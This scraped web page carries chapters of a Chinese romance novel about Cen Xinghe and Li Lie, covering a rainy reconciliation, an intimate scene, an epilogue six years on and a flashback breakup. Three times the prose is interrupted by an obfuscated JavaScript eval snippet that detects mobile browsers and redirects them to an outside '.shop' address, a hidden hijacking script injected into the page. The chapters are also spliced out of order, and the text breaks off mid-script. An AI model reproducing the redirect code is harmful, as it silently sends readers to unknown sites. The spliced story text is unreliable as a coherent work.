岑星禾哑着嗓子,“去德国那么好的机会你不要,你想在我身边待一辈子吗?你本该就有那样的生活,你现在放弃了。” “我本该有什么生活?” “你父亲是化工专家,母亲是大学教授,你本应该在金字塔上,而不是走了那么多路,吃了那么苦,还要待在燕港走不出去。”她已经控制不住情绪了,眼泪大把大把压下来,抽泣着用手背去擦。 缺氧致使她连连抽噎,根本没法顺畅换气,他抬手替她擦泪,眼底藏着疼惜,“我不想离开你。” 岑星身子控制不住微微发颤,惨白的脸上挂满泪痕,“如果将来某一天,你回头再听自己说的话,你就知道自己有多天真了。” 李烈放轻了声音,语气却很坚定:“我想陪在你身边,一直天真下去。” 岑星禾喉咙里溢出压抑的哭声,仿佛下一秒又要悲声痛苦,“不行,你必须去德国。” 他收回潮湿的手,目光深深,“那不能动不动就分手,我是犯了天条了吗?” “不分手你就不会去。”她表情十分认真。 “谁说的?”他哑声笑了下,实在不忍心看她那么哭。 岑星禾顿住,“那你是答应去了吗?” “我要是不答应,你的眼泪能把燕港城墙哭倒。”他无奈地叹息,手臂抬起,修长的手指轻轻拨开她贴在额前的碎发,不知是汗水还是雨水,融合到一起,将她整张脸都浸透,仿佛珍珠透着光。 李烈的拇指摩挲了一下她的唇,又克制地收回手,“你能答应我一件事吗?” 岑星禾懵懵地抬起脸,眼中泪意盈盈。 “不要分手,也不要和别人结婚。” “好。”她说,“我答应你。” 李烈直直盯着她,确认了好几秒,眼眶里的红色居然也淡了一点。他把伞从她手里接过去,举在她头顶上,雨顺着他的下巴往下滴,滴在她的额头上,凉凉的。 “你淋到了。”她说。 “没事。” 她把伞往他那边推了推,他又推回来,两个人在雨里推来推去,最后他把伞整个罩在她头顶上,自己半边身子露在外面,雨水顺着手臂往下流,把卫衣的袖子湿透了。 “跟我回家。” 岑星禾拉住他的手腕,他手腕很湿,凉凉的,皮肤上全是雨水,李烈乖乖地跟在她身后。 他低头看了一眼她拉着自己的那只手,眼神暗沉晦涩。 跟我回家,这四个字是这个世界上最好听的情话。她无数次对他那么说过,他也无数次跟在她身侧,与她一同走过很多艰难的路。 现在他想做那个保护她的人,无论风吹雨淋,无论天高路远,他只想和她一起。 这个世界不重要,重要的只有岑星禾一人。 进了门,玄关的灯亮着,把两个人淋成落汤鸡的样子照得一清二楚。 李烈头发贴在额头上,卫衣湿透了,贴在身上,勾勒出肩膀和胸口的轮廓,他换了那双灰色拖鞋,岑星禾从卫生间拿出一条干毛巾扔给他。“先把头发擦擦。” 她转身进了厨房,打开冰箱,拿出姜和红糖,放水壶里一起煮了。 李烈不知道什么时候站到了厨房门口,静静看着她。 “你先去洗澡。”她没回头,“热水器里有热水。” “你呢?” “我给你煮姜茶。” “我问你怎么办?”他的声音低低的,“你也淋湿了。” 岑星禾低头看了一眼自己,睡衣湿了一大片,是刚才给他撑伞的时候淋的,她用手背蹭了一下,蹭不掉,“我没事,你先去。” 她先倒了一杯温水递给他,他接过去,碰到她的手指,岑星禾下意识把手指缩了回来。 李烈把水喝了,转身去了浴室。 等姜茶煮好,李烈洗好澡出来了,他换上了夏季的T恤,站在客厅挡了大半的灯光,“你去洗澡。” 岑星禾示意他和姜茶,接着去卧室拿了换洗衣服,进了浴室。 热水冲下来的时候,她才意识到自己有多冷,刚才在外面不觉得,站在雨里只想着他,顾不上冷,现在热水一浇,浑身上下的毛孔都张开了,寒气从骨头缝里往外钻,她打了一个哆嗦,把水温又调高了一些。 她洗得很快,没洗头发,打开门,一股热气从浴室涌出去,碰到客厅的凉空气,变成白雾,散得很快。 李烈站在浴室门口,高大的身体几乎把整个门堵住了。 他头发半干,手里还端着那杯姜茶,热气已经散了,杯子外壁的水珠顺着玻璃往下淌。 岑星禾被突然出现在门口的人影吓了一大跳,整个人往后缩了一下,差点撞到门框上。 “你站这里干嘛?”她的心跳还没从惊吓中缓过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555649|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李烈把姜茶放在旁边的鞋柜上,发出很轻的一声响,他忽然伸出手一把扣住她的腰,将她拉进怀里,嘴唇压下来,带着姜茶没散尽的甜味和红糖的暖。 他的手按着她的后腰,把她整个人箍在怀里,另一只手插进她长发里,指腹贴着头皮,吻得很重很有侵犯欲。 岑星禾被吻得往后退了半步,后脚跟碰到浴室的门槛,整个人重心不稳,往他怀里倒,他托住了她的腰,手臂收紧,把她往上提了一下,她的脚离开了地面,本能地把双腿缠上了他的腰。 他没有给她喘息的时间,一只手托着她的臀部,另一只手撑着她后背,转身走了几步,坐到了沙发上。 他陷进沙发里,将她放在上方,让她跨坐在他身上,他的膝盖顶着沙发边缘,她的头发散下来垂在他脸侧,沙发上的靠垫被挤到了一边。 木星不知道从哪里跑出来,看了一眼,喵了一声,跳下沙发跑走了。 雨水打在窗户上,客厅的灯还亮着,暖黄色的光落在两个人身上,把他们的影子投在墙上,交叠在一起。 他吻着她的唇角,呼吸很重,胸腔一起一伏的,他的手贴在她腰侧,隔着薄薄一层睡衣,掌心烫得像刚从火堆里捡出来的石头。 “我没有办法看着你和别的男人在一起,哪怕是想到都很难受。” “你不要和别人在一起。”他的手指在她腰侧收紧了一点,“求求你了。” 岑星禾的眼泪掉在他灰色的T恤上,洇开一小朵一小朵深色的花,她用指腹擦了擦,“我不会。” 李烈一下一下的吻着她,口齿因呼吸沉重而不清,“那要是再打电话说要和别人结婚呢?” “是相亲,没有说结婚。”她小声嘀咕。 他的唇舌探索地地方愈加危险,嗓音哑得骇人,“下一步就要结婚了。” 岑星禾温温笑了下,可转眼笑意就淡了淡。 因为李烈正深深地盯着她,眼底只余下一层薄薄的笑意,刚对视上的那一秒,她感觉有电流从身上穿过,直接击中脆弱的心脏。 那种感觉很难描述。 深沉的爱意如同潮水涌向她,几乎让她喘不过气,他黑得发亮的眼眸快要把她吸进去,岑星禾呼吸紊乱,控制不住的身体颤栗,有某种隐秘的欲念要冲破牢笼。 他粗粝的指尖探到一个不为人知的地方。 岑星禾哀哀地哼了一声,忽然倒在他怀里,她全身软得像滩水,一直不断向外流淌,顺着地板,流到夜晚的窗户,混合着潮湿的雨季,将两人一起淹没。 “姐姐。”那两个字被他说得又欲又哑,每一个音节都带着滚烫的气息落在她耳廓上,他的手掌整个贴着她的后腰,把她往自己身上压了压。 窗外的雨不知什么时候停了,屋檐还在滴水,落在空调外机上,哒,哒,哒。 他的手指贴上去,虎口卡在她腰最细的地方,拇指和食指几乎圈住了她整个腰,她比他想象中还要瘦。 岑星禾把脸埋进他的颈窝里,不敢抬头,她全身烫得像要烧起来,呼吸全喷在他脖颈的皮肤上,一下一下的,又急又烫。 “姐姐,看着我。”李烈声音带着一点哑一点涩,岑星禾抬头看他的一瞬间,他伸长手将灯关了。 “姐姐,我好喜欢你。” 夜色为这句告白蒙上了一层暧昧不明的气息,他沉欲的嗓音像扯不开的网,将她紧紧缠绕,她沉溺着,凌乱着,为他痴狂着。 “姐姐,我离不开你。” 她终于抬起手臂圈住了他,像醉了酒般回应他的吻,整个人软绵绵的,乖得让人心软。李烈呼吸沉重地将她压向自己,手中的力道也不受控制的越来越重。 “好乖,姐姐。” 月光从窗外投射出一道米色的光线,如同一个偷听的而人,他们在微光中对视,情欲的气息将两人淹没,她听见他用气声说,“给我吧……” 窗帘没有拉严实,外面不知道谁家的灯还亮着,光从缝隙里漏进来,在天花板上画了一道细细的线。 “不要再推开我了。”他的嘴唇贴着她的耳廓,“我的乖宝贝。” ...... 夜很深很静,乌云渐渐散去,天亮就是一个好天气。 七月初,李烈去了德国。 过安检的时候,他排了很长的队,她站在黄线外面等着,什么礼物也没带,能给的都给了,所有的嘱托在之前好几天都说了,她不想再说一遍,说多了就要哭。 他过了安检,回头看了她一眼,冲她笑了一下,那个笑又痞又坏又好看,她把手机举起来,隔着玻璃,隔着安检机,隔着来来往往的人群,给他,拍了一张照片,照片里他站在人群当中,比所有人都高出一个头,笑容很清晰。 22. 番外·全文完 六年后。 李烈从德国回来时,燕港刚好进入初夏,天很蓝,云很白,夏风吹得人心痒痒的。 岑星禾去机场接他。 她穿了一件白色的连衣裙,头发散着,喷了一点香水,她平时不喷的,出门前在手腕上点了一下,闻了下觉得太刻意,又洗掉了。 洗完后照了照镜子,左转转右转转,裙摆在空中摇曳,总觉得哪点不满意,最后还是折回去喷了一点,折腾好一阵,出门还是迟了。 到机场的时候,他已经站在到达口了。 岑星禾远远地就认出他了。 他没有太大的变化,肩膀还是那么宽,站在那里像一棵树,但又好像什么都变了,他的下颌线更锋利了,眉骨的弧度更深了,整个人褪去了少年人的青涩,多了一种不动声色的力量。 她曾在视频里见过他无数次的侧脸,但此刻隔着人群看到他,才发现屏幕装不下他。 他在人群里一眼就找到了她,他朝她走过来,步子不快不慢,行李箱的轮子在地面上滚得稳稳当当。走到她面前停下来,低头看着她。“岑星禾,你今天真好看。” “你黑了。”她说。 两个人都笑了,他把她拉进怀里,下巴搁在她头顶上,他身上是一种偏冷的木质香水,在那层味道底下,还是她熟悉的那个干净而热烈的李烈。 他退役了,他说跑那么多年够了,他想换一种活法,他学会了怎么造一辆真正的好车。 公司是在他回国前就注册好的,名字叫慕星机车。 公司开在城郊的一个创意园区里,厂房不大,五脏俱全,他找了几个以前一起开机车的兄弟,又挖了两个学机械设计的学弟,第一批产品是小排量的复古机车,车身线条流畅,颜色是他亲自调的,他说好车不应该只属于有钱人。 她带他回了出租屋,那个一室一厅,五年来她一直没搬,房租涨了好几次,中介打过好几次电话问她要不要换,她都说再看看,后来中介不问了,她也懒得搬。 木星已经六岁了,胖了一圈,橘色的毛油亮油亮的,性子很高冷,不太理人,李烈进门的时候,它蹲在沙发上,歪着头看了他一眼,尾巴甩了一下。 “它不认识我了。”李烈说。 “它最近懒了。”岑星禾弯腰把露娜抱起来塞进他怀里,木星挣扎了一下,闻到熟悉的味道不动了,趴在他腿上,呼噜呼噜地打起了盹。 他坐在沙发上,木星趴在他腿上,岑星禾靠在沙发扶手上看着他,客厅没开灯,只有厨房漏出来的光和电视待机的蓝光,屋外蝉鸣声一阵一阵。 “我在城东买了一间公寓。”李烈状似无意间开口。 “离你单位走路十分钟。”他的手指在木星的背上一下一下地梳毛,“你搬过去吧。” “你什么时候买的?”她的声音有点轻。 “去年。” 这几年他一直来往于中德之间,只要一有空,他就会飞回来看她,两人厮混于岑星禾的出租屋,他用六年的时间,坚定地守护着两人之间微弱的情感联系。 她深知这种坚持很难,有时她也会飞德国找他,六年往返几十张机票,是这段珍贵感情的见证。 新公寓完全按照岑星禾自己的心意设计装修的,从动工到结束花了接近半年时间,搬家的时候,岑星禾发现了李烈遗落在角落里的笔记本,应该是中学时的笔记,翻开某页,上面写满了她的名字,名字的周围还画了好多星星。 她悄悄将笔记本放好,和他这些年获奖的奖杯证书一起带到了新公寓。 搬进去后,于向清来看过一次,房子朝南,小区绿化做得非常好,一楼还有一个花园,于向清连连称赞李烈眼光好。 这些年她也改观了,不固执地认为只有年纪大的男人才能给岑星禾带来幸福,李烈很好,一心一意爱着岑星禾,自从不开机车后,于向清的心更放到肚子里面了。 后来李烈还带岑星禾去看了极光。 他提前买了两件极地防寒服,他把其中一件粉色拿出来,让她试一试。 岑星禾将外套穿在身上,袖子长了一点,他低着头,手指翻飞,把那两折卷得整整齐齐,岑星禾低头看着他,他的头发比以前长了一些,她忍不住伸手把那缕头发拨到一边。 他顿了一下,抬起眼看她,目光沉沉。 “别在阳台撩我,下面有人。” 岑星禾缩回手,“谁撩你了。” 他笑了一下,拉着她的袖子把她拽回屋里。 一周后,他们出发了。 他们从赫尔辛基坐火车一路北上,进入北极圈,车窗外的世界从绿色变成白色,树越来越矮,雪越来越厚,岑星禾靠着窗,脸贴在玻璃上,看着外面无边无际的雪原,眼睛亮亮的。 坐在她对面的是一对老夫妻,白发苍苍,手牵着手,老太太看到岑星禾趴在窗户上的样子,笑着对老头说了一句芬兰语,老头也笑了,点了点头。 李烈用英语说了一句“honeymoon”,老太太立刻懂了,冲他们比了一个大拇指,又说了几句芬兰语,听不懂,但表情是祝福的。 “你胡说什么?”她小声。 他面不改色,“不是度蜜月吗?” 他们住在玻璃穹顶的小木屋里,天花板是透明的,躺在床上就能看到星星,第一晚极光没有出现,第二晚也没有,她趴在窗边等了一夜,困得眼睛都快睁不开了,星星倒是很多,像住在银河里。 “要是今晚还看不到怎么办?”她有点泄气。 “那就明天。”李烈靠在床头,一只手枕在脑后,另一只手的指尖绕着她的发尾。 “要是明天也看不到呢?” “那就后天。” “要是整个北极圈都没有极光呢?” “那就去南极。”他一本正经地说。 她没忍住笑了,转过身把脸埋进他胸口,不小心睡着了,他打开手机拍了一张照片,设置成背影图,他的手机密码是她的生日。 很多很多年前,岑星禾就把他的生日设置成了自己的解锁密码,从来没有变过,他父亲是在他生日那晚被杀害的,岑星禾为了弥补他的遗憾,把他的生日记得很牢,他一直都知道,才那么容易就解锁了了她的手机,看到了当年来自程焕的信息。 当年得知泰显川的下落,带着一往无前的决心去参加比赛,只知道自己必须赢,也一定要赢,要为自己赢得人生,要为家人赢回名声。 她的手机相册里有很多他的照片,从小到大的都有,她想替他的父母记录他的成长,不知道怎么后来就变了味,拍照的角度都和原来不一样了。 幸好有她一直的守护和坚持,幸好那么真诚热烈的李烈。 半夜她被他的声音叫醒了。 “星禾。” 她睁开眼,看到整个天穹都是绿色的,几乎要从玻璃上溢出来的绿,好像有人在天空泼了一桶颜料,颜料慢慢流淌,变成一条一条的光带,美轮美奂。 她从床上坐起来,思绪在一瞬间回還,不自觉捂着嘴,有一种整个胸腔都顺过气的通透感,看着漫天极光,无法形容地震撼感动。 李烈从身后抱住她,下巴搁在她肩膀上。 她转过身,把脸埋进他怀里,他搂着她,下巴在她头顶上蹭了蹭,“哭什么?” “没哭。”她吸了吸鼻子。 “手。”他说。 他拉过她的手,放在自己手心里,她的手躺在他的手掌上,像一只蜷着的小猫,他的手指慢慢合拢,把她的手包在里面,拇指在她手背上一下一下地蹭,“从很久以前我就想这样抱着你。” 想和她一起看遍世界美景,只想和她。 极光在头顶变幻着颜色,她把脸往他怀里又埋了更深了一点。 从北欧回来之后,日子变得很平淡,她觉得这种平淡比什么轰轰烈烈都好。 他每天早上送她上班,开那辆黑色的奔驰,她故意问他怎么不开机车了,他歪着头看她,整个人散漫地靠在门框上轻笑,“以前年轻不懂事,现在得惜命”。 “为什么现在要惜命了?”她系好安全带。 “因为有人在家等我了。” 阳光从车窗照进来,落在他的眉骨上,他握着方向盘的手指修长,骨节分明,左手无名指上戴着一枚银色的戒指,她也戴着。 那是他在德国的地摊上买的,两欧元,成色却很好,她舍不得扔,他说一起戴那对定制的,她说不要就要这个,他就不再提了,但每次洗手的时候都会把戒指摘下来放在口袋里,擦干了再戴上,小心翼翼地样子很不符合他性格。 晚上他做饭,她就在旁边打下手,剥蒜,洗菜,递调料,他颠勺的样子很好看,手臂的肌肉线条在灯光下一清二楚。 她有时候会走神,站在旁边看着他,看他系着围裙,刀起刀落,萝卜切成均匀的薄片,手指按着萝卜的指节弯曲成好看的角度。 “过来尝尝咸淡。”他把勺子递到她嘴边,她张嘴他把勺子送进去,眼睛看着她的嘴唇。 “咸淡正好。”她说。 他把勺子拿回去放到水龙头下冲了冲 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她从身后环住他的腰,把脸贴在他后背上,他的后背很宽很暖,隔着T恤,她能感觉到他脊柱的弧度,他的手覆在她手上,手指穿过她的指缝。 “几点了?”她闷闷地问。 “快八点了。”他说。 “你要迟到了吗?” “请假了。” “请什么假?” “事假。”李烈说,“老板娘身体不舒服。” 她松开手,走到旁边,歪着头看他,他把煎蛋铲到盘子里,关火,转过身,双手撑在她身体两侧的灶台上,把她圈在中间,“今天在家陪你。” 岑星禾知道今天是她的生理期,他每次都会在这天休息,然后在家照顾她一天。 “我什么都没做,就成老板娘了?” 李烈嘴角弯了一下,他伸手从围裙口袋里掏出一样东西——是一把钥匙,上面挂着一个橘色的猫咪钥匙扣,和木星的颜色一样。 “老板娘,”他把钥匙塞进她手里,“这是我们婚房的钥匙。” 之前他和岑星禾商量过,在城西又买了一套房子作为婚房,设计装修还是按照岑星禾的心意来,这间小公寓是给她一个人的。 岑星禾攥着钥匙,钥匙硌着手心,金属的凉意慢慢被体温捂热,她低下头,把钥匙挂在手指上转了一圈,吸了一下鼻子,又吸了一下。 “又哭?”他皱了皱眉。 “没哭。”她转过身,把煎蛋端到餐桌上,背对着他,眼泪吧嗒掉了一颗在盘子里,急忙用拇指擦掉。 他从桌上抽了一张纸巾按在她脸上,“傻姑娘。” “辣的。”她说。 “煎蛋不辣。” “那就是醋放多了。” 他没有拆穿,又低头亲了亲她的眼睛,嘟囔着:“小哭包。” 岑星禾由衷地说了句:“谢谢你,李烈。” 老板娘这三个字比她听过的所有情话都好听,因为那不是承诺,是他已经把一切都准备好了,只等她来当。 她用脚趾去碰他的脚踝,他的腿缩了一下,抬眼看她,嘴角慢慢弯了起来,那个笑容和多年前在修车铺里吃面条的少年一模一样。 李烈埋头吃饭,忽然问了句,“当时网上那个澄清贴是你写的吧?” 她一时没反应过来。 “前几年我被网暴时,有个澄清帖被顶到热搜第三,是你写的吧?” 岑星禾这才想起来,的确是她写的。 那么强烈的网暴对于十九岁的李烈来说,冲击力太大了,他还没体会过什么叫善良,却已经被世界伤得体无完肤,她太想保护他了,当时她已经草木皆兵了。 李烈说:“花了多少钱买热搜?” 岑星禾认真地想了一下,“好像十来万吧。” 李烈轻笑了一下,嘴上只说以后别做这种傻事了,随后嘴角慢慢压了下去,眼圈有点红,心里像被无数根针刺了上去,疼得他冷汗直冒。 傻姑娘不知道攒了多久的钱,一下子全花在他身上了,只为了那一条热搜。 在那个孤立无援的时刻,他没能帮得上她一点。 他欠岑星禾的这辈子都还不起了,李烈垂下眼睫,大口大口吃着饭,以此来掩饰自己眼底的湿意。 阳光从窗户照进来,落在两个人的碗筷上,木星终于等到投喂,埋头吃得头都不抬,窗外蝉鸣声声,燕港的夏天很长,和爱的人在一起的时候就觉得夏日没有那么燥热了。 这个热烈的夏天终将结束,而他们的未来还有很远很远。 23. Chapter23·没送别^^…… 挂了电话,她坐在沙发上,看着茶几上那杯凉透了的水,内心是一阵没有来的疼痛。 过了一会儿,她深呼吸一口气,拨了李烈的号码,响了三声,接通了。 “你为什么不肯去德国?”她的声音如同一潭死水。 电话那头安静了一瞬,“你听谁说的?” “你别管我听谁说的,你就说是不是。” “我在准备。” 岑星禾的眼泪一下子涌了上来,她咬住嘴唇,没让自己发出声音:“你为什么不告诉我?” 李烈说:“我怕你担心。” “担心什么?担心你去了德国就不回来了?还是担心你去了德国就会忘了我?”她声音在抖,“李烈,你是不是觉得你为我放弃了什么,我就会感动?我就会觉得你爱我?我不会,我只会觉得你不值得。” “星禾。” “你知不知道我为什么要去港城?” 他没说话。 “因为我要离开你。”这句话说出口的时候,她的心像被人攥住了,疼得她几乎握不住手机,“你太幼稚了,李烈,你什么都不要,什么都放弃,你有没有想过我要什么?我要你好好走你自己的路,不要为了我停下,你听不懂吗?” 电话那头安静了很久,久到她以为他挂了。 “你骗人。”他的声音小到像从很远的地方传过来,“你说过你不会走的。” “我就是骗你的。”她情绪激动到快要克制不住,“现在一切都结束了,你以后不要再来找我了。” 她挂了电话。 电话那头,李烈听着忙音。他把手机从耳朵上拿下来,看着屏幕上“通话结束”四个字,他想起导师上周跟他说的话:“你再考虑考虑,不着急,月底之前给我答复就行。” 他本来打算这周就跟老师他会去,还没来得及说。 他不知道岑星禾打了那个电话。不知道她和老师之间隔着一个要命的时差。 李烈买了最近一班火车,没有座位,站了一路,到燕港的时候是凌晨四点,他打车去了她的公寓,上面一片漆黑,敲门没有人应,打她的电话关机。 他在门口坐下来,靠着门板,闭上眼睛。 她不在家。 他下楼,坐在小区门口的花坛边,手机快没电了,他找了一家早餐店借了充电器,充了半小时,他给她发了很多消息,她一条都没有回。 岑星禾的行李是前一天晚上收拾好的,两个箱子,一个背包,她把木星托付给了于向清,走的时候,她站在门口回头看了一下那间住了多年的出租屋,她的拖鞋和他的拖鞋并排摆在门口,粉的和灰的,她把门关上了。 他去了她单位,老周说她已经申请了交换生,去港城了。 * 李烈到港城的时候是第二天下午,他找到她的学校,打听到她住的宿舍楼,他在楼下等,从下午等到晚上,从晚上等到深夜。 他给她发消息,打电话,都没有回应。 第二天傍晚,他看到她了。 她和一个女同学从宿舍楼出来,有说有笑的。她穿着一条白色的长裙,上面是浅米色毛衣,背着那个旧帆布包。 他站起来,朝她的方向走了两步,他想说,我没有骗你,我本来打算去的,我只是还没来得及告诉老师。 他没有动,因为他看到了杨铭。 杨铭从另一个方向走过来,站在她旁边,不知道说了什么,她笑了一下,那个笑容很淡很自然,像一对情侣一样。 李烈看着他们并肩走远,直到他们的背影消失在食堂的方向。 那天晚上,港城下雨了,细细密密的,打不打伞都不影响,他站在她宿舍楼下,衣服湿漉漉的,他给她发了一条消息:[我在楼下] 过了十几分钟,还是没有回复:[我有话跟你说]还是没有回复。 雨开始大了些,他的头发湿了,贴在额头上,水顺着眉骨往下淌,流到睫毛上,他眨了一下,雨珠落下来。 岑星禾在窗前站了很久,手贴在玻璃上,玻璃凉得刺骨,她想下去,想把他拉上来,想跟他说对不起。 可是任务在即,她不能让他知道她在做什么。 她拿起手机,拨了一个号码:“保卫处吗?学校门口有人一直站着不走,麻烦你们去看一下。” 两个保安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569301|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑着伞走过来,问他找谁,他说找新生岑星禾。 保安说这么晚了,人家可能休息了,你先回去吧。他没有动。 保安又说,你再不走我们就报警了。 他看着那扇亮着灯的窗户,转身走了。 雨还在下,他走得很慢,雨水顺着他的手臂往下流。 他回去之后就发了高烧,烧到快四十度,躺在床上,被子裹得严严实实,还是冷。 室友给他买了药,他吃了,睡了整整一天。 梦里全是她,她的笑,她的眼泪,她说的“我骗你的”,他醒过来的时候,枕头是湿的。 烧退了之后,他给导师打了个电话:“老师,德国的项目,我去。” 到了晚上,手机信息还是空荡荡的,他给她发了一条消息—— [我要去德国了,你不要难过了,岑星禾,我希望你开心。这一生的时间也就七八十年,除去过去二十年,我们还剩下五十年,这五十年又要除去一半的黑夜,便只留二十五年,再仔细想想,学业工作,东奔西跑,生病意外,又耗掉不少时日,真正留下来可以陪自己心爱的人在一起的时间,掐指算来,少之又少。我们的时间一直在倒计时,我舍不得和你吵架,能不能不要生气了?和好吧。] 他等了一夜,没有回复。 岑星禾把那条消息看了很多遍,她没有回,港城信息不安全,她怕被人监控,怕这条线暴露,怕他卷进来。 她直接彻底删掉删除了信息。 他等了一周,每天醒来第一件事就是看手机,没有消息,训练的时候把手机带在身上,振动了就拿出来看,不是她,晚上睡不着,把那条发出去的消息翻出来看一遍,又看一遍。 第八天,他删了那条消息。 他把手机扔在床上,躺了很久。 又过了一个月左右,他开始收拾行李,走的那天,没有人送,他一个人,一个行李箱,一张机票。 过安检的时候他回头看了一眼,身后是来来往往的人群,没有她。 也许这就是他们的结局了。 她不要他了。 他不怪她,只是心口有点疼。 24. Chapter24·生闷气^^…… 六年后。 七月初,燕港的夏天来得不紧不慢,风吹在皮肤上带着初夏特有的温热。 岑星禾调到文职已经四年多了,每天朝九晚五,坐在办公室里整理档案,偶尔去辖区企业核查营业执照。 修车铺旧址早就拆了,盖了一排商铺,奶茶店、便利店、水果店,烟火气十足,她经常站在巷口发呆,风吹过来,不是机油味了,是奶茶的甜。 修车铺的画面她已经很久没有翻出来了,压在心底最深处,上面盖着生活和日复一日的忙碌,偶尔它们会自己浮上来,像水底的泡泡,戳破后,留下一圈涟漪。 李烈是九月回燕港的。 慕星机车开在城东新开发区的一条街上,店面是是他自己设计的。 醒目的门头,设计别致,很有炫酷感,门口停着几辆改装过的机车,对面是一条酒吧街,人来人往,非常热闹。 他把工作室收拾好,注册了营业执照,找了两个小兄弟来,一个叫阿豪,以前在修车铺帮过忙,另一个叫小杰,刚毕业,喜欢机车,肯学。 于向清每个月给他打一次电话。 翻来覆去还是那几句话,吃了吗、天冷了加衣服、别太累,她从来不提岑星禾,但每次挂电话之前,于向清都会说一句“你星禾姐也挺好的”。 他嗯一声,再挂掉电话。 周五,岑星禾接到一个核查任务。 辖区新开了一家机车工作室,营业执照刚办下来,需要实地核对经营地址和法人信息,打几次电话都不通,她需要过去看一看。 岑星禾把地址输进手机导航,那条街她没去过。 店面很大,有几位顾客在看机车,也没人跟着,墙上挂着各种机车零件,整整齐齐。空气里有淡淡的机油味,混着金属的冷。前台传来低沉的老式摇滚。 她按了按桌上的铃。 一个二十出头的男生从里面跑出来,穿着黑色工装,手上全是机油,在围裙上蹭了蹭,“你好,请问有什么需要?” 岑星禾把工作证亮了一下,“辖区核查。” “我们老板不在。”男生挠了挠头,“您稍等。”他转身去翻抽屉,翻了好一会儿才找到一张营业执照。 岑星禾接过来,翻开。 上面明晃晃写着法人代表:李烈。 她看着那两个字,眼皮一跳。 她把执照合上,放在桌上,“经营范围写的是机车销售,改装和保养,你们门口停的那台车上有赛车队标志,改装赛车需要额外备案,这个你们做了吗?” 男生愣了一下,“应该做了吧?我不太清楚,老板办的。” “那麻烦你跟你们老板说一下,这个需要补办,材料准备好了就去。”她从包里拿出一张核查单,在上面签上名,放在桌上,“行了,我先走了。” 她转身推门出去,阳光晒在身上,比来的时候更烈了,她撑着伞,沿着人行道往回走,步调和来时一样。 李烈到店里的时候,已经下午三点多了。 他把摩托车停好,摘下头盔,挂在车把上,走进门。 阿豪探出头:“烈哥,有一个女的说咱手续要补办一下。” 李烈走到柜台前,看到桌上那张核查单,盯着签名看了好几秒,沉着嗓音说:“材料准备好了,回头你拿过去更新一下。” 那个“星”字,最后一横还是习惯性地往下挑。 “来的人说什么了?”他问。 阿豪想了想,学着她的语气说:“门口那台车上有赛车队标志,改装赛车需要额外备案,让把材料补好。”他又补了一句,“烈哥,那女的好漂亮啊,跟明星似的。” 李烈瞥了他一眼,“干活去。” 阿豪缩了缩脖子,钻进维修区了。 李烈把那页核查单翻过来,背面是空白的,他又翻回去,看了一会儿。 他走到柜台后面,打开电脑。 监控画面切出来,下午两点二十三分,她推门进来,穿着一件白色的短袖衬衫,头发扎在脑后,几缕碎发垂在耳侧。 亮工作证,接过执照,翻开看了一眼。 那个眼神短到如果他不仔细看,根本不会注意到她翻到法人代表那一页时,手指顿了一下。 然后她合上执照,说话,签字,转身离开。 整个过程十分丝滑,他把监控进度条往回拉,又看了一遍。 他把电脑关了,靠在椅背上,看着门外的烈日,面上没有表情。 * 于向清的电话是在七月中旬打来的。 李烈正在店里改一台发动机,手上全是机油,手机开了免提搁在架子上,“小烈啊,这周末回来吃饭吧。” 于向清的声音从那头传过来,带着厨房里锅铲翻炒的背景音。 李烈拧下一颗螺丝,放在旁边的铁盘里,叮当一声,说了声好。 “你星禾姐姐也回来。”于向清喜悦地放低声音,“她今天去相亲了,你周叔叔同事介绍的,非让见一面,说好几次了,那孩子条件倒是不错,就是不知道你星禾姐姐看不看得上。” 李烈的手停了一下,扳手悬在半空中。 于向清还在那头说:“地方在城西那家西餐厅,就以前你们去过的那条街,叫什么来着。” “阿姨。”李烈把扳手放下,“我知道了。” 他挂了电话,靠在椅背上看着天花板,看了几秒,站起来去卫生间洗了手,换了件干净的黑色T恤,把头发用水捋了捋。 出门的时候阿豪喊了一句:“烈哥,你去哪?” 他说:“办事。” 阿豪没敢多问。 他开车直奔西餐厅。 西餐厅里灯光柔和,桌上铺着白色桌布,每张桌子上都摆了一小束满天星,岑星禾坐在靠窗的位置,对面坐着一个三十出头的男人,戴着一副金丝眼镜,穿浅蓝色衬衫,头发梳得油光锃亮。 她今天穿了一件白色的棉质衬衫,头发散着,耳垂上戴了一对很小的珍珠耳钉 她本来就不想来,于向清说了好几回,周叔叔的面子不好驳,哪怕是来应付一下,把话说清楚,别让周叔叔难做人。 她答应了。 开场二十分钟,她已经在找结束的时机了。 “你在工商局?”男人抿了一口红酒,笑了一下,“女孩子嘛,安安稳稳的最好,以后结了婚也不用太辛苦,我在银行做信贷,收入还可以,养家没问题。” 岑星禾端着水杯,礼貌地笑了笑。 她没接话,把“结婚”两个字过滤掉了。 男人又凑近了一点,“你这种单亲家庭长大的,肯定特别缺爱吧?我大你五岁,可以弥补你童年缺失的父爱。” 他的手伸过来,覆在她放在桌上的手背上,岑星禾像被烫了一下,猛地抽回手,站起来,椅子往后一推,发出一声刺耳的响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 